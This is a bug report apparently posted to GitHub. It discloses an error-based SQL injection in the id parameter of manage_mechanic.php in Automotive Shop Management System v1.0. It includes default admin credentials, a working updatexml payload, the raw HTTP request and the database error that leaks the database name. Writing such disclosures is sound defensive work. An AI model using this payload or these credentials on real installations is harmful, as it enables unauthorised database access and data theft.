⑂ main ▾   ⋯

bug_report / vendors / oretnom23 / automotive-shop-management-system / **SQLi-3.md**

🔲 **huchengrong** Create SQLi-3.md   🕘 History

👥 **1 contributor**

31 lines (21 sloc) | 1.25 KB   ⋯

Automotive Shop Management System v1.0 by oretnom23 has SQL injection

BUG_Author: huchengrong

Login account: admin/admin123 (Super Admin account)

vendors: https://www.sourcecodester.com/php/15312/automotive-shop-management-system-phpoop-free-source-code.html

The program is built using the xmapp-php8.1 version

Vulnerability File: /asms/admin/mechanics/manage_mechanic.php?id=

Vulnerability location: /asms/admin/mechanics/manage_mechanic.php?id=, id

dbname =asms_db,length=7

[+] Payload: /asms/admin/mechanics/manage_mechanic.php?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),0)--+ // Leak place ---> id

```
GET /asms/admin/mechanics/manage_mechanic.php?id=1%27%20and%20updatexml(1,concat(0x7
Host: 192.168.1.88
```

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=0bfse7548hblm5lblclp48r057; dou_member_id=1; dou_member_code=3a2d7
Connection: close

◀ ▶

INT   SQL BASICS▾ UNION BASED▾ ERROR/DOUBLE QUERY▾ TOOLS▾ WAF BYPASS▾ ENCODING▾ HTML▾ ENCRYPTION▾ OTHER▾ XSS▾ LFI▾
Load URL   192.168.1.88/asms/admin/mechanics/manage_mechanic.php?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+
Split URL
Execute

☐ Post data ☐ Referrer ◀ 0xHEX ▶   ◀ %URL ▶   ◀ BASE64 ▶ | Insert string to replace | Insert replacing string | ☑ Replace All ▶ ◀

Fatal error: Uncaught mysqli_sql_exception: XPATH syntax error: '~asms_db~' in C:\xampp\htdocs\asms\admin\mechanics\manage_mechanic.php:5 Stack trace: #0 C:\xampp\htdocs\asms\admin\mechanics\manage_mechanic.php(5): mysqli->query('SELECT * from `...') #1 {main} thrown in **C:\xampp\htdocs\asms\admin\mechanics\manage_mechanic.php** on line **5**